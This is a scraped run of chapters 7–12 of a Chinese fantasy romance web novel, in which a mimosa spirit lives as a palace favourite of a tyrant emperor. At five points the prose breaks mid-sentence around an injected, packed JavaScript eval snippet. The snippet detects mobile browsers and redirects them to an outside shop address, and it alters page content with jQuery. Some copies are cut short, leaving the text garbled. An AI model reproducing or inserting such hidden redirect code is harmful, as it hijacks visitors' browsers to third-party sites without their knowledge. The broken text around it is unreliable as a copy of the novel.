《含羞草今晚也在爬龙床》 7. 第 7 章 叶眠对萧厉知错能改的态度很满意,软乎乎地说:“那我先回去了,你好好吃饭?” “留下,陪朕一起用膳。” “啊,我就不陪你了吧?”叶眠有点犹豫,在萧厉耳边小小声说,“我可是厉害的大妖怪,才不用吃饭。” 萧厉没理他,扫了一眼苏承恩,苏承恩立时明白过来,小跑着出去传膳。 随着苏总管一声令下,流水一样的珍馐被小太监排着队送进来。 饶是萧厉执政以来就要求宫内处处节俭,御膳还是足足摆满了一桌子。 山药樱桃肉色泽红润,口蘑肥鸡金黄软烂,黄焖羊肉上铺着一层鲜红的辣椒,八宝鸭汤热气腾腾,汇成了一种复杂而异常诱草的香味,直往叶眠鼻子里钻。 在招摇山每天只知道吹风饮露的小含羞草哪里见过这么多人间美味,眼睛顿时就直了,不停地耸动鼻子。 萧厉似笑非笑瞥叶眠一眼,没搭理他,老神在在地拿起筷子,夹了一块樱桃肉,又抬手让苏承恩盛了碗鸭汤,浅呷了两口。 叶眠的忍不住咽了下口水,一双眼睛都黏在御膳上。 每一样看起来都好好吃! 想吃。 但如果现在吃,皇帝肯定会嘲笑他。 叶眠纠结得小脸都皱了,正在他犹豫到底是要面子还是要美食的时候,萧厉轻轻咳嗽了一声,放下了银箸。 “苏承恩,朕不是说过,南方水患,宫中一应开支都要缩减,怎么膳食还如此奢靡浪费?” 苏公公迷茫地看着桌子上的八菜一汤一点心。 皇上确实说过削减开支,所以膳食相比先帝已经非常俭朴了,不仅数量上减半再减半,一应食材也多是鸡鸭猪羊,还要怎么俭朴啊? 苏承恩脑袋飞速运转,忽然撇到旁边站着直流口水的叶眠,霎时间福至心灵,扑通一声跪在地上。 “奴才知罪,这膳食万岁要是用不完,不如当做赏赐,也能彰显龙恩浩荡。” “有理。”萧厉摆摆手让苏承恩站起来,“叶眠,这用不完的膳食……” “我来吃,我很能吃!” 不等萧厉说完,叶眠两步冲过来,拿起另一双筷子就要往嘴里塞。 苏承恩吓了一跳:“美人,您得先谢恩啊。” “哦。” 叶眠放下筷子,学着苏承恩的样子歪歪扭扭地跪在羊绒地毯上。 “谢谢皇帝,你真好。” 然后站起来就要冲过去拿筷子,却又被苏承恩拦住了。 “美人,您得先伺候万岁用膳,等万岁用完了,您才能用呢。” “啊?” 好像晴天霹雳一般,叶眠的小脸当时就皱了。 怎么这么多规矩啊! 他委委屈屈地凑过去,嘟着嘴给萧厉夹了一筷子羊肉,嘴里小声嘟囔:“快点吃快点吃。” 萧厉逗弄够了含羞草,这才不紧不慢地朝苏承恩摆摆手:“你们都下去吧。” 太监鱼贯而出,萧厉捏了捏叶眠的脸:“行了,不用守规矩了,坐下吃吧。” “真的?谢谢皇帝!” 叶眠一下就高兴了起来,一屁股坐在旁边的绣墩上抓起筷子夹肉。 樱桃肉入口酸甜,肥而不腻,黄焖羊肉香辣可口,八宝鸭汤鲜亮解腻,叶眠自打坐下之后嘴就没停过,这个也喜欢那个也好吃,吃到自己喜欢吃的还会给萧厉夹两筷子。 萧厉从没见过这么吃饭的,毕竟宫里规矩大过天,无论是先皇后还是后宫里其他嫔妃,无一不是很注重用膳的礼仪,指甲盖大小的肉丁还要分三口吃,一顿饭细嚼慢咽一个时辰,饭菜早就凉了。 叶眠这种吃法,在后宫时很没规矩的,但萧厉看着却觉得出奇的畅快,好像饭就应该这么吃。 有叶眠带着,原本已经吃腻了的饭菜居然也变得可口起来,一人一草你一筷子我一筷子,居然把桌上的御膳吃了个七七八八。 当然,萧厉只是比平常吃的多了两成,剩下的全都进了叶眠的肚子。 暴君看着风卷残云的小含羞草,有点害怕:“吃不下就不要吃了。” “我能吃。” 眼看皇帝停了箸,含羞草把剩下的樱桃肉扣在碧粳米饭上,唏哩呼噜都吃干净了。 “这些餐食含灵气很少的,我都吃了也没关系。” “灵气?”萧厉剑眉微挑,“所以你们妖精是要靠灵气修炼,那你以前不吃饭,灵气从哪来?” 叶眠脸色一变, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧厉话音未落,叶眠圆滚滚的眼睛里就浮现出一层水汽:“你怎么可以吃月季花!” 8. 第 8 章 萧厉眉头皱了皱:“月季花怎么了?” 月季花怎么了? 今天敢吃月季花,明天就要吃含羞草了! 叶眠气得脸发红,半天才委委屈屈地憋出一句:“月季花是草,含羞草也是草!” 萧厉恍然,紧接着就忍不住笑出了声。 “你……你还笑!” 萧厉看自己的小含羞草真的要火了,赶忙压住笑意,把叶眠拉到身前小声解释:“人族只吃月季花,不吃含羞草,而且你刚刚吃的樱桃肉里,就放了山药,按你的说法也是草。” “啊?真的吗?” 自幼在招摇山长大,连黄瓜和土豆都没见过的叶眠再一次愣住了。 “你们真的不吃含羞草吗?” “真的,君无戏言。”萧厉哭笑不得地擦了擦叶眠眼边的泪痕,“就这点事也值当哭一鼻子嘛,没出息。” “我才没有!”叶眠哼了一声,“明明就是苏承恩和刘太医,非要说你失眠是因为宫里有含羞草,抓着我不放,差点把我叶子揪掉了!我跟你说哦,我们含羞草能清热、安神、消积、解毒,是很好很好的草,才不会失眠。” 最多就是让你掉几根头发…… 叶眠在心里默默补充。 叶眠趴在萧厉耳边叨叨唠唠,浑没注意到景帝的脸色已经黑了。 “苏承恩!” 站在外间的苏公公手忙脚乱地跑进来,就对上了景帝漆黑一片的脸色。 “你,还有刘少青,都给朕滚去刷恭桶,刷不满一个月不许出来!” * 萧厉还要批折子,就让苏承恩先把叶眠送回蓬莱苑,再去刷恭桶。 刚进殿门,叶眠两只眼睛便不够看。华丽的宫殿气势恢宏,走进正殿,柜子里摆着各种各样亮晶晶的摆件,地上还铺着一层厚厚地羊毛地毯,看起来就暖和。 叶眠喜滋滋地用脚踩了踩。 真想在上面打个滚,肯定很舒服。 “真漂亮。” 苏承恩笑得两只眼睛眯成了缝:“那当然了,这蓬莱苑可是一等一的好地方,离万岁的寝宫也近,皇上能把蓬莱苑赐给美人居住,足见皇上对您的宠爱。” 叶眠点点头。 自己可是帮他治好了失眠症,皇帝宠着自己也是应该的。 “美人,蓬莱苑还自带个小花园,奴才陪您去看看?” “好哦。” 叶眠跟着苏承恩来到小花园,只见园子里绿树成荫,小桥流水,池塘里甚至还有几条彩色的鱼自由自在地嬉戏。 好充足的水源,好肥沃的土壤! 叶眠激动地眼睛烁烁发光。 要不是苏承恩还在旁边,他真想现在就变成草在地里站一会儿。 “谢谢你,你快走吧。”叶眠迫不及待地看着苏承恩。 苏公公摇摇头:“美人别急,殿中省送来了一批宫女太监伺候您,奴才让他们过来,给您磕个头吧。” 叶眠脚趾瞬间抠住了鞋底。 什么宫女太监,难道不是他自己一棵草住吗? 不等叶眠开口阻止,苏承恩笑眯眯拍了拍手,不知道从哪冒出来了几十名宫女太监,整整齐齐跪在叶眠面前:“奴才给叶美人请安,美人万安。” 叶眠浑身一激灵,后背瞬间出了一层汗。 救命,怎么这么多人啊! 他强忍着用叶子把自己包起来的冲动,小声说:“苏公公,我不需要人伺候,你让他们走吧。” “美人说笑了,您可是后宫的主子,怎么能没人伺候呢?” 苏承恩朝领头太监使了个颜色,太监心领神会,立刻往前一跪,笑得满脸谄媚:“叶美人,奴才李德禄,是蓬莱苑的总管太监,您有什么事吩咐就行。” 李德禄虽然早早认了苏承恩做干爹,但奈何苏大总管的干儿子能从皇宫排到城墙根,他在在宫里混了十几年,还是御花园里一个不大不小的管事。 干爹好不容易给了他这次机会,叶美人可是皇上后宫唯一的主子,如果能被他重用,自己飞黄腾达指日可待。 叶眠瞥了眼跪在地上的太监,眉毛立时拧了起来。 这不是那个在冷宫辣手摧紫荆花的太监吗?坏人! 他才不要和这个人一起住! 叶眠抿着嘴唇没说话,眼神掠过李德禄,在人群里转了一圈,忽然看到跪在最后的一个小太监长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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9. 第 9 章 “长乐汤?”正光脚在后花园踩泥巴的叶眠眨了眨眼睛,“那是什么?” 有他中午喝的鲍鱼猪肚丝汤好喝吗? 小亭子喜气洋洋,做了个揖:“美人有所不知,这长乐汤可是专供万岁享用的汤池,轻易不会赏赐其他人沐浴。主子新贵荣宠,奴才这里先给美人道喜了。” 叶眠点了点头。 虽然他不知道汤池是什么,但他知道沐浴,就是洗澡的意思。 他帮皇帝治好了失眠症,皇帝奖励他洗澡也是应该的。 于是小含羞草很有礼貌地冲小亭子道谢:“谢谢你,也祝你早日新贵荣宠。” 小亭子愣了一下,立刻笑了起来:“主子玩笑了不是。” 叶眠刚要解释自己没有玩笑,小亭子忽然脸色一变,几步冲过来,指着叶眠脚上地泥土:“哎呦我的主子,您怎么把鞋脱了,这这这被万岁看到了可怎么得了,来人,伺候美人更换鞋袜。” 一通忙活之后,叶眠的脚被洗的干干净净,紧接着就被送上了殿中省派来的凤鸾春恩车。 小含羞草坐在车里,愤愤地动了动还带有余温的脚趾。 这些人怎么能随便碰草,太没有礼貌了,他差点就要忍不住冒叶子了。 * 然而,当叶眠看到冒着热气的温泉时,所有的羞恼全部一扫而光。 含羞草最喜欢湿润温暖的环境,叶眠对温泉简直没有任何抵抗力! “我可以下去吗?” “当然。”苏承恩笑呵呵地冲叶眠行个礼,“美人可以先泡一会儿,陛下很快就来。” 叶眠完全没听苏承恩说了些什么,得到允许之后就迫不及待跳进了温泉。 好暖和,好舒服! 叶眠猛地洗了一大口气,把脑袋埋进水里,咕噜噜吐出了一串泡泡。 真好玩! “喜欢这里吗?” 叶眠刚把脑袋抬起来,就感觉有人揉了揉他的脑袋。 小含羞草回过头,果不其然,萧厉不知道什么时候已经站在了他身后。 “你来了呀?”叶眠笑着和萧厉打招呼,“当然喜欢了,这里水很热,很舒服,你要不要下来。” 狭长的凤眸暗了暗,萧厉脱掉外衫,顺着台阶一步步走下来。 浴袍被水打湿,领口半敞,依稀能看见结实的小麦色肌肉。 “等朕很久了?” “也……也没有吧。” 不知道是因为害羞还是温泉泡的有点久,小含羞草脸上红红的,就连身体也泛起了一层诱人地粉色。 还是很可爱的。 萧厉的嘴角不由得弯的更深了些。 与此同时,叶眠也在上下打量着皇帝。 大半天没跟皇帝待在一块,之前吸到的灵气已经炼化得差不多了。 那要不,再吸一点? 叶眠抿了抿唇,暗戳戳往萧厉身边蹭,一边蹭一边悄咪咪吸收萧厉身上的灵气。 好多灵气,好舒服。 叶眠看着萧厉精壮的身体,就好像看到了一大堆灵气。 今天又是超额完成修炼任务的一天! 小含羞草正沉迷于吸灵气,猝不及防就被暴君捏住了脸侧的软肉。 “看什么呢?” 叶眠吓了一跳,脸色当时就变了。 皇帝不会发现什么了吧。 “没有,没看什么。”叶眠心虚地低下头,支支吾吾地说。 看着叶眠躲闪的眼神,萧厉的眼中闪过几分了然的神色。 明明想看却不敢看。 朕的小含羞草这是含羞了呢。 顾念着叶眠年纪还小,萧厉收起身上的锋芒,尽可能温柔地摸了摸叶眠软乎乎的头发。 “别怕,想做什么都行,朕不会弄疼你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15966319|177737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>叶眠眨着一双大眼睛:“做什么都行?那你能不能把衣服脱了。” 根据叶眠这几天总结出来的经验,离皇帝越近,灵气越足。如果皇帝能把衣服脱了,灵气肯定更多。 “什么?” 饶是萧厉冲龄即位,铲除外戚,又数次打败了入侵的外族,这会也有些怔愣。 难道精怪都是这么直率的么? “不是你说的,提什么要求都行吗,这会又不答应了。”叶眠瞟了萧厉一眼,低下头咕哝了一句,尾音拉得有些长,还带着点鼻音,软乎乎的。 果然,人族都是骗子,连皇帝也不例外。 坏。 叶眠还在嘀咕,头顶忽然传来了一阵笑声。 “叶卿这么迫不及待?那朕便满足叶卿的请求。” 还没等叶眠反应过来,萧厉已经伸手解了浴袍。 小含羞草有点好奇地凑过去看了看,又忍不住低头看了看自己的身体。 好奇怪。 为什么他的人形无论颜色还是大小,都和皇帝不一样。 叶眠凑过去,好奇地伸手戳了一下暴君的胸肌。 硬硬的,还挺有弹性。 有点好玩? 叶眠还有再戳,手指就被暴君紧紧攥住了:“卿好大的胆子。” “我没有……” 叶眠根本注意到萧厉赤红的眼尾和近似疯狂的语气,还要解释,忽然被暴君一把拽进了怀里。 “你干……” 惊呼尚未出口,叶眠就看到萧厉俯下身,用自己的嘴唇贴住了他的嘴唇。 叶眠瞳孔骤然放大,还没等他反应过来,铺天盖地的灵气将他笼罩在了其中。 好多灵气,不行,他要变回含羞草了。 下一刻,萧厉只觉得怀里陡然一空,香香软软的叶美人消失不见,取而代之的是一株瞟在水面上,巴掌大的含羞草。 10. 第 10 章 “叶眠?叶眠?” 回应萧厉的是一连串吐泡泡的声音。 叶眠只知道和皇帝贴贴会获得很多灵气,没想到灵气这么多,他实在是有点撑到了。 小含羞草挣扎着浮在水面上,半天才缓过来:“我没事,缓……缓一会儿就好了。” 萧厉:…… 亲一下就变成草是什么毛病。 但就算他是皇帝,也不可能在这个时候强含羞草所难,只能伸出手,把叶眠拢在,避免他被水流冲走。 这还是萧厉第一次看到叶眠的原型。 萧厉以前在冷宫,也见过含羞草,都是羽毛一样细长的叶子,可叶眠的叶子却出奇地饱满,圆滚滚的,上面还覆盖着一层细密地绒毛。 小含羞草把自己养的很好。 萧厉伸手戳了一下叶子尖,含羞草轻轻一颤,羞答答地合上了叶子。 还是很可爱。 萧厉轻轻笑了一声,又去戳另一片叶子,戳过了还不算,又立刻捏住叶子两边,不让它合上。 可怜的小叶眠努力了好几次也没法闭上叶子,只能任由皇帝欺负自己的叶子。 好痒,好奇怪。 坏人! 叶眠被欺负的受不了,期期艾艾地开口:“痒,你别再捏了。” 萧厉逗弄够了,终于好心地松开了手。 刷地一声,叶眠立刻把自己的八个叶子全部合上,根须使劲刨了几下水,飞快地躲到了浴池的角落,警惕地看着萧厉。 萧厉斜斜靠坐在池边,嘴角噙着几分笑:“你不是大妖怪吗,怎么又变成草了。” 还不是怪你,偷偷用嘴啃草,一下子让他吸了那么多灵力。 叶眠偷偷腹诽,又不敢说出吸灵气的事,只能含含糊糊地说:“我现在还不是大妖怪,等我长出第九片叶子的时候,我就是大妖怪了。” 萧厉抬眼看向小含羞草。 果不其然,嫩绿色的茎上整整齐齐长着八片叶子。 “含羞草会开花吗?” 叶眠被问得一愣,紧接着嫩绿的叶子就浮现出了一层粉色,过了好半天才小小声说:“怎么突然问这个呀。” 怪让草害臊的。 叶眠把整株草都沉得水下,只露出了叶子尖尖,才软乎乎地说:“理论上来说,含羞草精300岁就开花了,但可能是我还没成大妖怪吧,就没开花!” “原来朕的叶卿,还是一株没长大的含羞草。” 叶眠对没长大三个字很不认同,立刻开口反驳:“谁说的,我很快就会变成大妖怪,然后就能开花。” 他每天都吸到很多灵气,很快就能长出第九片叶子。 想到这,叶眠根须使劲一蹬,游到暴君身边,用叶子尖碰了碰萧厉的胳膊:“你能不能多碰碰我,这样我就能快一点开花,但是不要用嘴碰。” 要不然灵气太多,容易把草撑死。 就跟正常人生嚼一整根人参一样,是不可以的! 叶眠在心里默默补充。 萧厉看着身边巴掌大的含羞草,原本早已冷硬的心像放在温水里的隔夜馒头一样,变得又软有暖。 他伸出手,把含羞草捧在手心,用鼻尖碰了碰叶子尖尖。 “乖,朕碰碰你,快点长大吧。” 小含羞草轻轻抖了一下,但是并没有把叶片合上,而是找了个舒服的姿势窝在萧厉怀里,消化过剩的灵气。 突然,一道不算大,但是格外清晰尖细的声音打破了这份平静。 “万岁,是时候了。” 小含羞草被吓了一跳,咻地钻出了萧厉怀里,找了个角落缩了起来。 萧厉看着空空荡荡的怀抱,脸色立时就变了。 偏偏苏承恩还没意识到事情的严重性,按照祖宗规矩尽心尽力地喊了第二遍:“万岁,是时候了。” “滚。” 萧厉暴呵一声,外面终于没了声响。 但一直待在长乐汤也不是个办法,小含羞草还不知道什么时候能变回来…… 萧厉深吸了一口气压下心中的怒火,上岸换好衣服,这才小心地把含羞草从汤池里捞出来,藏在袖口里。 “莫出声,朕送你回宫。” 叶眠躲在宽大的龙袍袖口,用叶子尖碰了碰萧厉的手臂表示自己知道了。 “哎呦陛下,您可算出来了。”苏承恩亲自拿着毛巾,给萧厉擦拭头发上的水痕,“奴才要不要派人,送叶美人回蓬莱苑。” 萧厉淡淡地瞥了苏承恩一眼:“管好你的事。” 苏总管了然。 叶美人初次承宠,必然是受不住天恩雨露,万岁定然是心疼叶美人,把他安置在了汤泉旁边的耳房。 “陛下龙精虎猛,实在是大景之幸,万民之福。” 承宠初夜,美人忽然变回了含羞草,萧厉原本就不高兴,听了苏承恩的话,他直接冷哼一声:“议论主子的私事,苏承恩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15966320|177737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朕看你的规矩都学到狗肚子里了吧。” 苏承恩怎么都想不到皇上为什么会因为一句奉承话生气,扑通一声跪在地上:“奴才不敢。” “去内廷领二十板子,抄写宫规百遍。” 萧厉一甩袖子,带着小含羞草扬长而去,只留下苏承恩自己,站在原地欲哭无泪。 他这是招谁惹谁了! * 蓬莱苑后花园。 “你们都退下,没有朕的允许,都不准靠近。” 眼看小亭子领着宫女太监离开,萧厉才小心翼翼地从袖子里掏出小含羞草:“朕还是找个花盆,放在床头。” “不要。” 叶眠刚被放出来,就迫不及待地扎进湿润肥沃的黑土地里,整棵草舒服地叹了口气。 “花盆里再好,也没有这里好,我待在这里就可以了,你快去睡觉吧。” 因为他之前每天都给萧厉治疗失眠和梦魇,偶尔一天不入梦,皇帝也不会失眠或者梦魇。 叶眠冲萧厉晃了晃圆滚滚的叶子,撒下一片金色的灵力。 “祝你今晚也睡个好觉哦。” * 就像叶眠说的那样,萧厉一整晚都睡得很好。 第二天下朝,他直接来到蓬莱苑,看着小亭子一副战战兢兢欲言又止的样子,直接挥手让他们退下,独自一人来到后花园,俯下身,在草丛里小心翼翼地寻找着小含羞草。 他记得昨天就把含羞草安置在这,怎么找不到了? 萧厉皱皱眉,围着花园慢慢寻找,终于,在一棵树旁,他看到了株迎风摇曳的含羞草。 小含羞草似乎比昨天长高了些,叶子也变得修长了几分。 “叶眠。”萧厉咳嗽一声,“还不能变回来吗?” 微风里,含羞草晃了晃叶子,并没说话。 “叶眠?” 含羞草依然只是晃悠着叶子。 萧厉眉头紧皱,一夜不见,这怎么连话都说不了了? 萧厉叹了口气,挽起龙袍,小心地抛开土,想把含羞草挖出来,刚挖了一半,身后就传来了一到熟悉的声音。 “万岁?” 萧厉愕然回头,就看到叶眠穿着一身嫩黄色的锦袍,赤着足,睁着一双滚圆的眼睛看着他。 “您为什么要挖我院子里的草?” 不等萧厉回答,叶眠眼珠一转,顽皮地眨了眨眼:“陛下,你不会把那株草认成我了吧?” 11.第 11 章 萧厉当然不会承认他认错了含羞草。 于是不等叶眠再问下去,暴君已经抢先一步,沉着脸道:“脸上还沾着灰,又跑哪野去了?” “跟你说过多少次了,出门不要光着脚,想得风寒吗?” “朕到蓬莱苑也不知道接驾,规矩呢?” 叶眠被问懵了,半天才委委屈屈从怀里掏出了一个油纸包:“我才没有野,我去学做羊肉包子了,你尝尝?” 萧厉皱着眉:“厨子不得用吗,怎么还要你亲自去做?” “因为我想让你好好吃饭,苏总管说你经常不按时吃饭。” 叶眠皱了皱鼻子,一副很发愁的样子。 凡人是很脆弱的,不吃饭就会死,但萧厉又不怎么喜欢吃饭,他只好亲自下厨,偷偷在食材里掺一点他曾经掉落的叶子磨成的粉末,让皇帝的身体能健康一点,为他提供更多灵气。 哎,不省心的凡人,真让含羞草操心。 他把包子塞进萧厉怀里:“这三个包子都要吃掉。” 毕竟三百年来,他只掉了十几片叶子,很珍贵的,不能浪费。 叶眠一脸期待地看着萧厉:“快,趁热吃,我尝过了,很好吃的。” 萧厉垂眸看着热气腾腾的包子,心里好像被一团毛茸茸的小东西轻轻拱了拱。 很软,也很温暖,是一种从来没有过的新鲜感受。 在冷宫的时候,没有人关心他吃没吃饭,甚至他是死是活也不重要。后来做了皇帝,朝臣太监也都只会说些屁用没有的恭维话,只有叶眠,会真的为了让他胃口好一些,亲自洗手作羹汤。 锋利的凤眸瞬间变得柔和了不少,萧厉拿出巾帕,轻轻擦了擦叶眠脸侧蹭上的炉灰,三口两口将包子吃完。 “很好吃,以后这种事让奴才去做就行。” 叶眠对萧厉把包子都吃完感到很高兴,脸上露出了两个小酒窝:“没关系的,只要你喜欢吃,我就做。” 萧厉心里瞬间软成了一滩水,俯身横抱起叶眠。 小含羞草小小地惊呼了一声:“干什么?” “陪朕回宫,用早膳。” * 迎着小亭子惊喜地目光,叶眠就这么被萧厉抱到了龙撵上,带回御书房,享用了一顿无比丰盛的早膳,然后就被扣在了书房,陪萧厉批折子。 叶眠坐在小踏上,把盘子里最后一块枣泥糕吃完,无聊地打了个哈欠。 今天的灵气已经吸够了,叶眠现在只想回到蓬莱苑,一头扎进泥地里,吹风晒太阳。 萧厉批完一摞折子,刚放下笔,就见小含羞草蹭一下从旁边站起来,小跑着走过来,讨好地给他揉搓酸胀的肩颈。 “万岁。”叶眠学着苏承恩的语气,“力度怎么样呀,舒服吗?” 萧厉瞥了他一眼,面无表情:“说吧,又有什么事。” “你看我在这里,也没什么事情做……” “这好办,你识字吗?” 叶眠没明白萧厉为什么会问这个,但还是老老实实回答:“认识百十个,但只会写自己的名字。” “这便是了。” 萧厉随手从书架上抽出一本千字文:“朕教你写字,往后朕批折子,你就在旁边的小踏上练字。” 叶眠猛地瞪大了一双眼睛。 他只是一株草啊? 草为什么要学写字! 但是君无戏言,不管叶眠再怎么不乐意,也只能老老实实坐在龙椅旁边,按照萧厉的要求写自己的名字。 小含羞草抓着毛笔,在宣纸上歪歪斜斜写下“叶眠”两个字,然后挺起胸脯,一脸骄傲地看着萧厉。 萧厉咳嗽了一声,对着那两个惨不忍睹的字,勉强说了一句“尚可”。 “你都知道我的名字了,我还不知道你的名字呢。”叶眠抓着毛笔,“你总不会就叫皇帝吧。” 萧厉轻轻笑了一声,带着剥茧的大手握住含羞草软乎乎的手,帮他改成了正确的握笔姿势,笔走龙蛇在选址上写下端正又锋利的两个字:“萧厉。” 叶眠看着纸上很复杂的两个字,跟着重复了一遍:“萧厉。” “放肆。”帝王轻叱了一声,好在殿内并无旁人,“不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15977618|177737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直呼朕的名讳。” 叶眠垂下了脑袋:“知道了。” “至少人前要记得避讳。” 叶眠又立刻高兴起来:“那没人的时候可以叫吗?” 萧厉并没回答,只是抓着叶眠的手,教他写千字文的前两句话。 叶眠小小一只,手也不大,被萧厉整个圈在怀里,距离近得几乎能感觉到萧厉的呼吸。 小含羞草脸莫名有些发烫,想挣开又不敢,只能任由萧厉的大手握着他,教他写那些笔画异常反复的文字。 两句话很快就教完了,叶眠被萧厉打发到旁边抄写。 天地玄黄,宇宙洪荒倒还好,炒到日月盈仄的时候,叶眠的手就已经酸了。 为什么每个字有这么多笔画。 皇帝还让他抄20遍,足足20遍! 他抄写的时间都够天狗、九尾狐、毕方他们排着队得道成妖了吧。 叶眠又勉强把日月两个字写了,实在写不下去,用千字文挡着脸,草草祟祟地瞟了萧厉一眼。 皇帝在很认真的批折子,根本没往他这看。 很好! 叶眠眨了眨眼睛,把书打开立在桌上,新拿出一张宣纸,在上面画了一个非常标准的圆,又在圆圈里添了两条横线两条竖线,最后再在圆圈旁边添上一个脑袋和四只脚,一个惟妙惟肖的小乌龟就画好了。 叶眠抿着嘴无声地笑了笑,回忆着刚刚萧厉教他写的字,在乌龟旁边写下了大大的两个字——萧厉。 大功告成! 小含羞草高兴得用脚趾戳了戳长毛地毯,使劲吹了吹宣纸,等上面的墨迹差不多干了,刚要叠起来揣袖口里,就听身后传来了一道低沉而熟悉的声音。 “叶卿这是在画什么?” 小含羞草只觉得头皮一紧,叶子差点从头发里冒出来,后背上的衣服一下就被冷汗打透了。 他僵硬的转过身,就看到萧厉面无表情地站在他身后,一双凤眸深不见底,就像暴雨前乌黑的天空。 叶眠下意识地吞了下口水。 这回真的要完蛋了! 12.第 12 章 叶眠一把将宣纸藏在怀里,心虚地朝萧厉笑笑:“没,没画什么。” 萧厉手心向上,冷冷地吐出两个字:“拿来。” 小含羞草怯怯地看着萧厉,只僵持了片刻,就乖乖把宣纸递到了帝王手上:“我不是故意的,你能不能不要骂我。” 萧厉并不接话,只低头欣赏叶眠的大作。 “不仅直接写朕的名讳,还在旁边画了只王……” 萧厉紧急止住后面的话,脸色又黑了几分:“简直是放肆。” “对不起嘛,我只是无聊,再说了,乌龟是长寿的象征,我是祝你健康长寿。” 叶眠紧急回忆狌狌哥哥画王八被迷谷爷爷抓住时的说辞,磕磕绊绊地向萧厉解释。 “胡说。”萧厉瞪他一眼,“如此大胆,该罚。” 叶眠小脸当即就皱了,委委屈屈地嘟了嘟嘴。 萧厉并不心软,毕竟今天敢在王八旁边写自己的名字,明天就能上房把御书房的瓦片掀了。 必须得罚! 按理说,这种大不敬的罪名,就算拖出去乱棍打死也不为过。但叶眠瘦瘦小小的,宫里的刑罚肯定是受不住。 要不禁足? 但小含羞草最愿意到处跑,禁足肯定会闷坏了,不好不好。 或者日常用度、俸禄减半? 但叶眠还在长身体,要是吃不饱,更开不了花了。更何况后宫那帮奴才都是捧高踩低,要是自己下旨扣了叶眠的用度,那帮奴才欺负他怎么办! 但是不能不罚。 萧厉故意别过头,不去看小含羞草那双湿漉漉的大眼睛,拍了拍自己的腿:“趴着。” 叶眠当时就傻了:“不……不要打我。” 萧厉扫了叶眠一眼,叶眠立刻怂了,乖乖趴好:“那轻轻的……” 话音未落,巴掌就落在含羞草饱满的屁股上。 “嗷!” 萧厉简直要被叶眠气笑了。 要不是自己半分力气都没使,他真要以为含羞草被他打坏了。 暴君冷着脸给了叶眠五巴掌:“记住教训了吗?” “记住了,不……不敢了。”叶眠睫毛上还挂着泪珠,可怜巴巴地捂着屁股,“是不是打坏了?” 萧厉冷哼一声,拍了拍叶眠挺翘的屁股:“离坏还远着呢。今天教你的《千字文》前两句,给朕抄五十遍,抄不完不准用晚膳。” 含羞草懵了。 多少? 五十遍! 他才抄了半句,已经受不了了,真要是写五十遍才放饭,他还不如直接跑出去喝西北风来的痛快。 再说了,他不是都挨完打了吗,为什么还要抄书啊! 但是看着萧厉冷冽的脸色,叶眠也不敢顶嘴,抹了下脸上的泪珠,乖乖坐在小塌上,勉强把后半句抄完,实在受不了了,偷偷打开迷谷爷爷送他的人间全书,从里面找出一句诗,默念了几遍,悄么声蹭到萧厉身边。 “我真的知道错了嘛。” 叶眠无师自通地坐在脚踏上,把尖尖的下颌放在萧厉腿上,捏着暴君的衣角左右晃了晃:“能不能吃完饭再抄呀。” 萧厉只是低头批折子,并不理他。 叶眠歪了歪脑袋,黑发里蓦地长出来两片叶子:“叶子给你摸,别生气了。” 萧厉依旧不理他。 叶眠咬咬嘴唇,终于使出了自己最后的杀手锏。 “山有木兮木有枝,心悦君兮君不知。” 小含羞草的声音软乎乎的,带着点好听的尾音,像刚煮好的汤圆,又甜又糯。 萧厉终于舍得放下这只,伸手戳了戳圆滚滚的叶子:“别以为说这种话就能蒙混过关,君无戏言懂不懂。” 暴君声音依旧冷淡,但嘴角却克制不住地微微上扬。 小含羞草用叶子蹭了蹭萧厉的手指,很诚实地说:“不太懂。” 萧厉:…… 算了,和一株草较什么劲呢。 